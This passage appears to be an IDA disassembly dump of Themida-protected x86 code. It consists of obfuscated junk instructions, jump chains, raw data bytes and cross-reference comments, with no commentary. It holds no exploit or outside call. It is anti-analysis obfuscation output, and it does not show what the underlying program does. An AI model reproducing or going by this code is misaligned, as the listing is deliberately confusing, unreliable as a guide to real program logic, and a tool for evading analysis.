loc_59E3A0 ; --------------------------------------------------------------------------- loc_5A7666: ; CODE XREF: Themida_:005A776Fj shl eax, 6 jp loc_599FF2 inc eax jmp loc_5A6489 ; --------------------------------------------------------------------------- db 88h, 0E7h, 58h db 50h ; --------------------------------------------------------------------------- loc_5A7679: ; CODE XREF: Themida_:005AC3C4j pop eax mov dl, bh jmp loc_5992E8 ; --------------------------------------------------------------------------- loc_5A7681: ; CODE XREF: Themida_:005AF1B4j pop esp pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_5AA5C0 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 4B951h, 4BE90000h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A76A7: ; CODE XREF: Themida_:005A4A74j and edx, 34936822h add edx, 0EF67F7E4h xor ecx, edx jmp loc_5A16C4 ; --------------------------------------------------------------------------- loc_5A76BA: ; CODE XREF: Themida_:005A247Ej add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_59FB45 ; --------------------------------------------------------------------------- loc_5A76CB: ; CODE XREF: Themida_:0059D255j push eax jmp loc_5AD543 ; --------------------------------------------------------------------------- loc_5A76D1: ; CODE XREF: Themida_:005AC6DAj sub ebx, 39B30B1Fh xor ebx, 167F5288h jnp loc_59C829 dec ebx xor ebx, 13FD51D0h mov edx, esi push esi loc_5A76ED: ; CODE XREF: Themida_:005A11C3j push ecx mov cx, 0D52h push cx not word ptr [esp] pop cx jmp loc_59EE95 ; --------------------------------------------------------------------------- loc_5A76FF: ; CODE XREF: Themida_:005A066Cj not edx sub edx, 310C1FEBh sub eax, edx push dword ptr [esp] pop edx jmp loc_59AAEA ; --------------------------------------------------------------------------- loc_5A7712: ; CODE XREF: Themida_:005AEEFEj mov ah, ch push ebx mov bh, ah mov dh, bh pop ebx push dword ptr [esp] pop eax add esp, 4 mov bh, dh pop edx pop ecx pop edx xor bh, 41h add cl, bh jmp loc_5AD30C ; --------------------------------------------------------------------------- loc_5A7733: ; CODE XREF: Themida_:loc_5A5C3Cj xor ah, 5 push 7878h jmp loc_59BCAD ; --------------------------------------------------------------------------- loc_5A7740: ; CODE XREF: Themida_:0059F241j mov ecx, 4 push ebp mov ebp, 51FD46EBh sub esi, ebp pop ebp add esi, ecx push ebp mov ebp, 7F6A7200h or ebp, 61F90402h shl ebp, 5 jmp loc_5AF312 ; --------------------------------------------------------------------------- loc_5A7764: ; CODE XREF: Themida_:005A026Dj mov [esp], eax mov eax, 636E59D7h shl eax, 5 jz loc_5A7666 shl eax, 6 jp loc_59B287 inc eax jo loc_5999BF shl eax, 5 mov cl, ch loc_5A778A: ; CODE XREF: Themida_:005A873Fj sub ecx, edx jmp loc_5AAADE ; --------------------------------------------------------------------------- loc_5A7791: ; CODE XREF: Themida_:005A66D4j xor ebx, 0D381BFFh push ebx mov ebx, 4ACF5386h and ebx, 52984D7Dh xor ebx, 686E232Ch add esi, ebx pop ebx jmp loc_5A4DD2 ; --------------------------------------------------------------------------- loc_5A77B1: ; CODE XREF: Themida_:005A6A5Dj xchg edi, [esp] mov esp, [esp] or edx, eax jmp loc_5A8018 ; --------------------------------------------------------------------------- word_5A77BE dw 0E9ACh ; DATA XREF: Themida_:0059883Co dd 0FFFF2EC4h ; --------------------------------------------------------------------------- loc_5A77C4: ; CODE XREF: Themida_:005A8A35j jmp loc_59F685 ; --------------------------------------------------------------------------- loc_5A77C9: ; CODE XREF: Themida_:0059E953j xor edx, 5414589Ch jz loc_5AD329 xor edx, 463A3169h jle loc_5ADAD2 add edx, 4DB90B57h jz loc_5A4863 jmp loc_5A2D7E ; --------------------------------------------------------------------------- loc_5A77F2: ; CODE XREF: Themida_:005AA8CBj js loc_59CF45 xor esi, 2DDB5F7Eh xor esi, 302E7A90h jmp loc_5A8BFD ; --------------------------------------------------------------------------- loc_5A7809: ; CODE XREF: Themida_:005A93B2j pop edi push edx pop ecx jmp loc_5A370E ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 48h dd 382EAD35h, 3E8C120h, 0FFB662E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7821: ; CODE XREF: Themida_:005A3059j mov ebx, [esp] add esp, 4 xchg ecx, [esp] mov edi, [esp] add esp, 4 xor [esp], edi xor edi, [esp] xor [esp], edi jmp loc_5989A3 ; --------------------------------------------------------------------------- a_si db '_ИК',0Ah,0 db 0 ; --------------------------------------------------------------------------- loc_5A7847: ; CODE XREF: Themida_:00598DD8j ; Themida_:0059D20Aj push edx mov edx, 51D4069Dh jmp loc_5AF8DB ; --------------------------------------------------------------------------- loc_5A7852: ; CODE XREF: Themida_:005AA997j and bl, 70h jmp loc_59982C ; --------------------------------------------------------------------------- loc_5A785A: ; CODE XREF: Themida_:005A1CA5j push ebx mov bh, ch mov al, bh jmp loc_59EDE9 ; --------------------------------------------------------------------------- dd 0FFC7834Fh, 8E8DF781h, 1EE9C6F8h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7873: ; CODE XREF: Themida_:0059A5F4j add edi, ebx push eax jmp loc_5A6A54 ; --------------------------------------------------------------------------- loc_5A787B: ; CODE XREF: Themida_:005AADE4j mov edx, ebx jmp loc_59E0C4 ; --------------------------------------------------------------------------- dw 0C781h dd 0A8312E9h, 0B95FFE89h, 3D77450Ah, 0FFB3B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7895: ; CODE XREF: Themida_:00599029j pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 4994h mov [esp], ecx push 2D23h mov [esp], esp add dword ptr [esp], 4 pop ecx push edx mov edx, 4 add ecx, 7FDD34B9h push edx mov edx, 6FB80F9Ch shl edx, 6 sub edx, 0A517A003h add ecx, edx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5AA827 ; --------------------------------------------------------------------------- loc_5A78E9: ; CODE XREF: Themida_:0059DBA0j push dword ptr [esp] jmp loc_598EBD ; --------------------------------------------------------------------------- loc_5A78F1: ; CODE XREF: Themida_:005A3D4Dj xchg ebp, [esp] mov esp, [esp] or edx, eax jmp loc_5A2C1A ; --------------------------------------------------------------------------- loc_5A78FE: ; CODE XREF: Themida_:005A2B41j add dword ptr [esp], 0AE2429Dh pop eax jmp loc_5AC920 ; --------------------------------------------------------------------------- loc_5A790B: ; CODE XREF: Themida_:0059F32Aj pop ebp add edi, ebx add edi, 0CB305C7h jmp loc_59AF63 ; --------------------------------------------------------------------------- loc_5A7919: ; CODE XREF: Themida_:005A87EBj push ecx push 3082757Ah pop ecx push edx jmp loc_59DC94 ; --------------------------------------------------------------------------- loc_5A7926: ; CODE XREF: Themida_:0059A7D0j mov esp, [esp] sub edi, 0EE41626h add edi, edx add edi, 0EE41626h jmp loc_5A19DC ; --------------------------------------------------------------------------- loc_5A793C: ; CODE XREF: Themida_:loc_5A324Aj jmp loc_59E8FC ; --------------------------------------------------------------------------- loc_5A7941: ; CODE XREF: Themida_:005AB16Bj sub ecx, 77257653h pop edi push ecx pop ebp mov ecx, [esp] add esp, 4 and eax, ebp jmp loc_5AE816 ; --------------------------------------------------------------------------- dw 6866h dd 89664F77h, 3CE92404h db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7967: ; CODE XREF: Themida_:0059E868j neg edi js loc_5AD9D7 jmp loc_5A88DB ; --------------------------------------------------------------------------- dd 0F680C6FEh, 54F03023h, 83240C8Bh, 896804C4h, 8900007Ah dd 74FF2414h, 6AE90424h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7993: ; CODE XREF: Themida_:005A1F90j xchg esi, [esp] pop esp push 495h mov [esp], ebx push eax sub dword ptr [esp], 7CB44DC6h pop ebx push ecx mov ecx, esp sub esp, 4 jmp loc_59AAF4 ; --------------------------------------------------------------------------- loc_5A79B3: ; CODE XREF: Themida_:005A5BB2j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5A9F1A ; --------------------------------------------------------------------------- loc_5A79C7: ; CODE XREF: Themida_:005A0566j xor eax, ecx pop ecx sub esp, 4 mov [esp], ebx mov ebx, 66B420A1h and eax, ebx pop ebx or eax, 2F40389Ch jmp loc_59B833 ; --------------------------------------------------------------------------- loc_5A79E2: ; CODE XREF: Themida_:0059C006j ; Themida_:0059F4BDj pop edx add [esp+4], ebp jmp loc_5A6157 ; --------------------------------------------------------------------------- loc_5A79EC: ; CODE XREF: Themida_:005A9B19j jns loc_59BC85 xor dl, 8Ah jmp loc_59C254 ; --------------------------------------------------------------------------- dw 2C87h db 24h, 5Ch ; --------------------------------------------------------------------------- loc_5A79FE: ; CODE XREF: Themida_:005994A9j sub esi, 5C002DD0h neg esi add esi, 421F1E65h sub esi, 2C9597DEh jmp loc_5AB12E ; --------------------------------------------------------------------------- loc_5A7A17: ; CODE XREF: Themida_:005A483Ej pop eax push edi mov edi, 4 jmp $+5 add eax, edi jmp loc_59A070 ; --------------------------------------------------------------------------- loc_5A7A2A: ; CODE XREF: Themida_:005A1EA6j jmp loc_5A3684 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2B07E900h, 895CFFFFh, 0EC832404h, 243C8904h, 0F7719268h dd 0E94F5F63h, 7B07h, 81242C8Bh, 4C4h, 2434FF00h, 4C48158h dd 83000000h, 348904ECh, 81E68924h, 4C6h, 4EC8300h, 0BB241C89h dd 7DF51A37h, 0E5CDC381h, 0C681820Ah, 4D3318CCh, 0EE81DE29h dd 4D3318CCh, 0FFCC7EE9h, 0F09E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7A9A: ; CODE XREF: Themida_:0059D45Ej mov edx, esi push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_598F74 ; --------------------------------------------------------------------------- dd 0D3243481h, 0FF6FCE04h, 34FF2434h, 89525A24h, 4C281E2h dd 83000000h, 148704C2h, 0C4815C24h, 4, 4D3BE56h, 0F2316FCEh dd 0FF3D48E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7AE5: ; CODE XREF: Themida_:005AD8D3j add esp, 4 push ebx jmp loc_5AF0E3 ; --------------------------------------------------------------------------- loc_5A7AF1: ; CODE XREF: Themida_:0059C0BAj pop ecx push ecx mov cl, 0BEh not cl neg cl shr cl, 7 shl cl, 2 sub cl, 0A4h sub dh, cl pop ecx push ecx mov ch, bl mov bl, dh mov dh, ch pop ecx not bl xor dh, bl xor bl, dh xor dh, bl shl dh, 5 sub esp, 2 mov [esp], bx mov bl, 0A3h and bl, 37h jmp loc_5AF936 ; --------------------------------------------------------------------------- loc_5A7B29: ; CODE XREF: Themida_:0059E457j pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_59AC3B ; --------------------------------------------------------------------------- db 80h, 0CAh, 4Dh dd 17A3E9h, 0FDEF700h, 0FF6CB489h, 2749E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7B56: ; CODE XREF: Themida_:0059EB9Cj add eax, edx push dword ptr [esp] pop edx add esp, 4 xchg eax, [esp] mov esp, [esp] push ebp push esp jmp loc_5ACFA7 ; --------------------------------------------------------------------------- dd 0B850E789h, 4, 5258C701h, 0E904EC83h, 0FFFF501Bh ; --------------------------------------------------------------------------- loc_5A7B80: ; CODE XREF: Themida_:005A1654j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5A0090 ; --------------------------------------------------------------------------- loc_5A7B8E: ; CODE XREF: Themida_:005A365Cj pop edx add esp, 4 push edx mov edx, esp jmp loc_5A5236 ; --------------------------------------------------------------------------- loc_5A7B9A: ; CODE XREF: Themida_:0059D30Bj add eax, 7BE52628h jmp loc_5A6AF4 ; --------------------------------------------------------------------------- loc_5A7BA4: ; CODE XREF: Themida_:005AC234j push 5A0A0A3Eh push dword ptr [esp] jmp loc_5A9913 ; --------------------------------------------------------------------------- loc_5A7BB1: ; CODE XREF: Themida_:005A8F4Cj add esp, 4 jmp loc_5A4FB6 ; --------------------------------------------------------------------------- db 68h, 65h, 2Ah dd 24890000h, 4AE95524h, 1FFFF89h, 81585BDAh, 4EDA3AC2h dd 281CE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7BD6: ; CODE XREF: Themida_:005AD071j jnz loc_5AF3D2 xor edx, 65B5EAEFh xor esi, edx add dl, 6Ch push esi loc_5A7BE8: ; CODE XREF: Themida_:005ABDA2j jnp loc_5A0202 shr edx, 1 jnz loc_5A7EDE mov ebp, edi loc_5A7BF8: ; DATA XREF: Themida_:005986F8o mov cx, [esp] push 5E31h mov [esp], ebx sub esp, 4 mov [esp], edi push 598Ch mov [esp], esp jmp loc_5A6C54 ; --------------------------------------------------------------------------- dw 0F45h dd offset dword_455248+1ED47h dd 1B85000h, 0E9000000h, 0FFFFEE48h, 0EF89F18Ah, 0D10A7205h dd 0A8D3519h, 0BEE936B3h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7C3F: ; CODE XREF: Themida_:005A2236j add eax, 17BA1004h add eax, ebx sub eax, 17BA1004h mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0CF290000h, 243C3359h, 33243C31h, 248B243Ch, 4EC8324h dd 2A39E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A7C8A: ; CODE XREF: Themida_:005A71F3j ; DATA XREF: Themida_:00598734o mov cx, [esp] push 6765h mov [esp], edi push esp pop edi jmp loc_5A5DB9 ; --------------------------------------------------------------------------- loc_5A7C9D: ; CODE XREF: Themida_:0059AAC8j not ebx push ecx mov ecx, 0D953D005h add ebx, ecx pop ecx jmp loc_5A8C4D ; --------------------------------------------------------------------------- aFqs5s db 'fQИ5s',0 align 4 dd 0E388800Fh, 0DCF6FFFFh, 4B4C8D0Fh, 0F4800000h, 0EA8E0FBCh dd 52000032h, 0C280D2B2h, 0E9CAFED4h, 1679h, 0E924148Bh dd 0FFFF1BD2h ; --------------------------------------------------------------------------- loc_5A7CE0: ; CODE XREF: Themida_:005AC7FAj or bl, 95h jmp loc_5A11C8 ; --------------------------------------------------------------------------- loc_5A7CE8: ; CODE XREF: Themida_:00598C33j mov [esp], edi mov edi, 42954D57h shl edi, 7 shr edi, 1 push ecx jmp loc_5A7644 ; --------------------------------------------------------------------------- byte_5A7CFB db 0ACh ; DATA XREF: Themida_:00598708o dd 0E951D830h, 0FFFF92ECh ; --------------------------------------------------------------------------- loc_5A7D04: ; CODE XREF: Themida_:005A4FBDj add esp, 4 push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_5A9EFC ; --------------------------------------------------------------------------- loc_5A7D24: ; CODE XREF: Themida_:005ADCC9j xor eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_59BEE3 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 68000000h, 651Dh, 52243C89h, 7A836857h, 0D0E95EC4h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A7D4B: ; CODE XREF: Themida_:005A0713j add edx, esi pop esi sub edx, 4 xchg edx, [esp] jmp loc_5A6489 ; --------------------------------------------------------------------------- loc_5A7D59: ; CODE XREF: Themida_:0059D697j pop ebp push edx mov edx, esp add edx, 4 push ebx jmp loc_598D7F ; --------------------------------------------------------------------------- loc_5A7D69: ; CODE XREF: Themida_:005AE0A3j add eax, 37AE1F7Eh add eax, ebx sub eax, 37AE1F7Eh add eax, 64AD591Ah add eax, 6A013A72h push 12ACh mov [esp], edx push 3512692Ah push dword ptr [esp] pop edx push ebp push esp mov ebp, [esp] jmp loc_5A9D58 ; --------------------------------------------------------------------------- dw 1489h aSm db '$И╛<',0 align 2 loc_5A7DA2: ; CODE XREF: Themida_:005AC7B1j push ebx mov ebx, esp add ebx, 4 jmp loc_5A0415 ; --------------------------------------------------------------------------- loc_5A7DB0: ; CODE XREF: Themida_:005A674Bj pop edi jmp loc_5AB270 ; --------------------------------------------------------------------------- loc_5A7DB6: ; CODE XREF: Themida_:005A0751j pop dword ptr [esp] mov esp, [esp] add esp, 4 push dword ptr [esp] pop eax push 61F1h mov [esp], edi mov edi, esp push 5385h mov [esp], eax mov eax, 49C77300h and eax, 19D4725Fh xor eax, 3701756Ch not eax shl eax, 8 shr eax, 6 xor eax, 0EBE248h add edi, eax jmp loc_59FAF3 ; --------------------------------------------------------------------------- db 68h dd 6CD6h, 0FFC3EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7E05: ; CODE XREF: Themida_:005A887Cj not edi xor edi, 7883327Eh sub edi, 0F875E2Eh jmp loc_5AEF71 ; --------------------------------------------------------------------------- loc_5A7E18: ; CODE XREF: Themida_:005AB238j pop edx push dword ptr [esp] jmp loc_5A2513 ; --------------------------------------------------------------------------- loc_5A7E21: ; CODE XREF: Themida_:005A5BA2j shr edx, 1 cmp eax, edx jz loc_59E7FD push 49A8h mov [esp], edx mov edx, 2CF6D13h jmp loc_5A93C0 ; --------------------------------------------------------------------------- loc_5A7E3D: ; CODE XREF: Themida_:0059E221j mov esi, 44645DE7h jmp loc_59FEAB ; --------------------------------------------------------------------------- loc_5A7E47: ; CODE XREF: Themida_:0059AAB2j push edi mov edi, 3D813C4Ah jmp loc_598C9F ; --------------------------------------------------------------------------- loc_5A7E52: ; CODE XREF: Themida_:0059E355j ; DATA XREF: Themida_:005986D4o mov ax, [esp] push ebx sub esp, 4 jmp loc_5AE15F ; --------------------------------------------------------------------------- dw 3C89h dd 52E78924h, 4BAh, 5AD70100h, 4EC81h, 34890000h, 6BE95724h dd 8100004Ch, 500A84F2h, 99BD5542h, 0E93B357Eh, 1071h ; --------------------------------------------------------------------------- loc_5A7E90: ; CODE XREF: Themida_:005A081Bj add eax, edi push edx mov dl, cl jmp loc_5A2B87 ; --------------------------------------------------------------------------- loc_5A7E9A: ; CODE XREF: Themida_:00598FFEj sub esp, 4 jmp loc_5A4C04 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 240C8B66h, 716468h, 243C8900h, 0E968E789h dd 8900003Ch, 2FB82404h, 552B613h, 3E65348Dh, 2141820Fh dd 0E605FFFFh, 0F75C842h, 5FD08Ah, 13A4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7EDE: ; CODE XREF: Themida_:0059FE8Aj ; Themida_:005A7BF0j push 329F3103h pop edi neg edi jp loc_599563 jmp loc_5A2483 ; --------------------------------------------------------------------------- loc_5A7EF1: ; CODE XREF: Themida_:005AEEB4j jp loc_59E614 jmp loc_5AF2C0 ; --------------------------------------------------------------------------- dd 0E9575350h, 0FFFF5BB7h ; --------------------------------------------------------------------------- loc_5A7F04: ; CODE XREF: Themida_:005AB824j mov esp, [esp] push 25EEh mov [esp], edx mov edx, 4 push edx mov edx, 4739191Dh add ebx, edx pop edx jmp loc_59FCC8 ; --------------------------------------------------------------------------- dw 16E9h dd 0BFFFFF50h, 4F3577C4h, 8106EFC1h, 0C655B5EFh, 3DBB5312h dd 0E96CD228h, 0FFFFF593h ; --------------------------------------------------------------------------- loc_5A7F40: ; CODE XREF: Themida_:005AD41Dj inc ebp jmp loc_5A326C ; --------------------------------------------------------------------------- loc_5A7F46: ; CODE XREF: Themida_:005A3A82j ; Themida_:005A45DBj mov edx, 31795468h neg edx not edx jmp loc_5ACFBE ; --------------------------------------------------------------------------- loc_5A7F54: ; CODE XREF: Themida_:005A3087j push esi mov esi, 3F891CAFh xor [esp+4], esi pop esi mov edx, [esp] add esp, 4 push eax mov eax, 43883B39h sub eax, 3FF1E8Ah xor edx, eax mov eax, [esp] add esp, 4 mov ebx, [esp] sub esp, 4 mov [esp], esi push esp mov esi, [esp] add esp, 4 push 1F71h jmp loc_598C55 ; --------------------------------------------------------------------------- dw 0D000h dd 0FF0C6CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7F99: ; CODE XREF: Themida_:005AD341j jmp loc_5A6489 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0E9810000h, 4, 96DE951h, 0E95A0000h, 0FFFFB436h dd 227B68h, 0D14DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7FC2: ; CODE XREF: Themida_:00598D43j xor edx, [esp] xor [esp], edx jmp loc_5AB256 ; --------------------------------------------------------------------------- loc_5A7FCD: ; CODE XREF: Themida_:005A329Ej and eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5A07C8 ; --------------------------------------------------------------------------- loc_5A7FE0: ; CODE XREF: Themida_:0059B924j ; Themida_:005A235Dj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A7FE5: ; CODE XREF: Themida_:005AC0FFj mov ch, 4Bh shr ch, 8 jmp loc_59905E ; --------------------------------------------------------------------------- loc_5A7FEF: ; CODE XREF: Themida_:0059D04Fj add eax, edi push ebx jmp loc_59B0A4 ; --------------------------------------------------------------------------- db 0B4h dd 58E3880Fh, 0F02E3C0h, 0FFD51F8Bh, 2DE950FFh db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A800B: ; CODE XREF: Themida_:005A3E59j pop ecx jmp loc_5A3D58 ; --------------------------------------------------------------------------- loc_5A8011: ; CODE XREF: Themida_:005A4A5Cj mov cl, ah jmp loc_59CAB4 ; --------------------------------------------------------------------------- loc_5A8018: ; CODE XREF: Themida_:005A77B9j shl edx, 1 jmp loc_5AE286 ; --------------------------------------------------------------------------- loc_5A801F: ; CODE XREF: Themida_:005ABD34j sub esp, 4 jmp loc_5AFB86 ; --------------------------------------------------------------------------- loc_5A8027: ; CODE XREF: Themida_:005A8F07j mov ecx, 29C36638h not ecx add ecx, 7D4F67E0h or ecx, 451E63E0h and ecx, 0E370DCCh shl ecx, 8 jmp loc_5AB5A1 ; --------------------------------------------------------------------------- loc_5A8048: ; CODE XREF: Themida_:005AC8D8j mov [esp], si jmp loc_5AE7A6 ; --------------------------------------------------------------------------- loc_5A8051: ; CODE XREF: Themida_:005A11EBj push ax mov ah, 92h jmp loc_5A36FF ; --------------------------------------------------------------------------- loc_5A805A: ; CODE XREF: Themida_:005AF668j mov al, 92h jmp loc_5ACBE3 ; --------------------------------------------------------------------------- loc_5A8061: ; CODE XREF: Themida_:005A302Ej neg ebp xchg ebp, esi push edx mov edx, 0BC388601h sub esi, edx mov edx, [esp] add esp, 4 xor eax, esi pop esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push esi mov esi, esp jmp loc_5A6036 ; --------------------------------------------------------------------------- dd 2AE9D101h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8097: ; CODE XREF: Themida_:005A2A4Bj sub [esp+2], dl pop dx mov ch, [esp] add esp, 2 add ch, 6Ah push bx mov bh, 81h jmp loc_59C96F ; --------------------------------------------------------------------------- db 0B8h dd 5C5C53DAh, 0F758C721h, 25C9E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A80BE: ; CODE XREF: Themida_:005A214Ej mov edi, ecx pop ecx push eax jmp loc_5A971C ; --------------------------------------------------------------------------- loc_5A80C7: ; CODE XREF: Themida_:005A37DBj shl ch, 8 js loc_5A9FCF inc ch add ch, 0C1h mov dl, ch mov ecx, [esp] jmp loc_5A01EE ; --------------------------------------------------------------------------- loc_5A80DF: ; CODE XREF: Themida_:0059A404j mov edi, 71FEBFBh sub eax, edi pop edi jmp loc_59955B ; --------------------------------------------------------------------------- dd 5EF2895Dh, 4F00EB81h, 0D329242Fh, 4F00C381h, 815A242Fh dd 0B36512C3h, 0C3815849h, 4, 31241C33h, 1C33241Ch, 4800E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A811A: ; CODE XREF: Themida_:005995FAj or bl, 95h jno loc_59B49F push dx mov dl, 0EEh xor bl, dl pop dx xor bh, 46h loc_5A812E: ; CODE XREF: Themida_:005AD89Fj add edi, 4 xchg edi, [esp] pop esp mov edx, 20CFEA06h add edx, edi jmp loc_5A200C ; --------------------------------------------------------------------------- dd 0E95AD001h, 0FFFF4028h ; --------------------------------------------------------------------------- loc_5A814C: ; CODE XREF: Themida_:0059BAE3j push 7908h mov [esp], ebx mov ebx, 5BE04609h shl ebx, 2 shr ebx, 5 jmp loc_59D2AB ; --------------------------------------------------------------------------- loc_5A8164: ; CODE XREF: Themida_:005AC3A6j add edx, 6D4F1B36h add edx, esi sub edx, 6D4F1B36h pop esi jmp loc_5A2615 ; --------------------------------------------------------------------------- dd 0FF0826E9h, 0D8C181FFh, 81E4AAD8h, 3C73F9EFh, 81CF295Ch dd 3C73F9C7h, 5350595Ch, 0C381E389h, 4, 0FFBFCFE9h, 0F58145FFh dd 36297F7Ch, 0F770F581h, 0E901CCF0h, 1E1815Dh, 8158581Bh dd 515DB3C1h, 16F1811Fh, 5040D01Bh, 3A0BB9B8h, 58C129B4h dd 119AEA81h, 0CA2945ECh, 6185E951h, 0EE81FFFFh, 4, 31243433h dd 34332434h, 14895C24h, 1718BA24h, 0D5683ACBh, 89000009h dd 7EBE2434h, 815A0E67h, 0B5FD95C6h, 2C815682h, 271F0924h dd 90E95970h db 5Dh, 2 dup(0) byte_5A8213 db 0ADh ; DATA XREF: Themida_:0059874Co dd 30E9D831h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A821B: ; CODE XREF: Themida_:0059EED9j push ecx mov ecx, esp jmp loc_5A53A7 ; --------------------------------------------------------------------------- loc_5A8223: ; CODE XREF: Themida_:005A1E9Aj sub ecx, 0B363A00h sub ecx, ebx add ecx, 0B363A00h pop ebx dec ecx add ecx, 32D215E7h sub eax, 24C66799h jmp loc_59F836 ; --------------------------------------------------------------------------- loc_5A8243: ; CODE XREF: Themida_:005ABEA0j rep movsd add esp, [edx+38h] push ebx push 3AA1h mov [esp], ecx push 4B9146FBh pop ecx xor ecx, 3E6C5EB6h xor ecx, 26FC7403h push eax jmp loc_5A9928 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0BCE95B04h, 81FFFFA4h, 40200CF5h, 3A8A0F38h, 45FFFFC8h dd 0FFAFDAE9h, 81F901FFh, 4136E6E9h db 36h, 5Bh word_5A828E dw 34FFh ; DATA XREF: Themida_:005988E0o dd 0EC815824h, 4, 0FFA5A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A829D: ; CODE XREF: Themida_:005A7314j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, 58706B83h neg esi sub esi, 91191D2Eh push edi mov edi, 1676774Bh sub esi, edi pop edi sub eax, 42A572C8h add eax, esi add eax, 42A572C8h jmp loc_59AD88 ; --------------------------------------------------------------------------- db 81h dd 9F53E8F1h, 66A4E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A82E2: ; CODE XREF: Themida_:005A7649j neg ecx jmp loc_5AAEB1 ; --------------------------------------------------------------------------- loc_5A82E9: ; CODE XREF: Themida_:0059985Ej pop edi jmp loc_59B843 ; --------------------------------------------------------------------------- loc_5A82EF: ; CODE XREF: Themida_:005AA8E7j pop edx mov [ebx], cl mov ecx, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A831E: ; CODE XREF: Themida_:0059D9B2j pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_598C18 ; --------------------------------------------------------------------------- dw 0EE29h dd 0CCEE815Dh, 17C546Bh, 0CCC681D6h, 817C546Bh, 5B7678C6h dd 34335A30h, 24343124h, 0FF7F5AE9h, 240487FFh, 8924248Bh dd 0A2B7241Ch, 0C780D7F6h, 5BF80051h, 0CAE93F04h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A836F: ; CODE XREF: Themida_:005A3075j or ebp, 738A53AEh jmp loc_5AD9B3 ; --------------------------------------------------------------------------- loc_5A837A: ; CODE XREF: Themida_:0059E10Ej push ebx mov ebx, 4D1B3ED5h add edx, ebx pop ebx push ecx jmp loc_5A09C9 ; --------------------------------------------------------------------------- loc_5A8389: ; CODE XREF: Themida_:005A9AA7j and dx, 0A64h sub esp, 2 mov [esp], ax mov ax, 50D2h push 2986h mov [esp], ebp mov bp, 0F2h sub bp, 1345h or bp, 2D4Ah add bp, 7C1Fh add bp, 0DF3Bh add dx, 41B4h add dx, bp sub dx, 41B4h pop ebp add dx, ax jmp loc_5A11B2 ; --------------------------------------------------------------------------- db 89h dd 0E9B82404h, 407E095Fh, 9977B70Dh, 0F84EE971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A83E2: ; CODE XREF: Themida_:loc_59A356j inc edi jle loc_599856 xor edi, 4CB74890h mov ecx, edi jmp loc_5A3865 ; --------------------------------------------------------------------------- loc_5A83F6: ; CODE XREF: Themida_:005ADB97j mov ebp, ebx mov ebx, [esp] add esp, 4 sub edi, ebp pop ebp jmp loc_598BC6 ; --------------------------------------------------------------------------- loc_5A8406: ; CODE XREF: Themida_:005A697Cj mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp push edi jmp loc_5A663B ; --------------------------------------------------------------------------- loc_5A8417: ; CODE XREF: Themida_:0059B8F8j pop edi shr esi, 6 push ecx mov ecx, 0FFFFFFFFh sub esi, ecx pop ecx push edi push esp pop edi add edi, 4 push ecx mov ecx, 4 sub edi, ecx pop ecx xchg edi, [esp] pop esp mov [esp], eax jmp loc_5A319A ; --------------------------------------------------------------------------- loc_5A8442: ; CODE XREF: Themida_:005A0204j xor 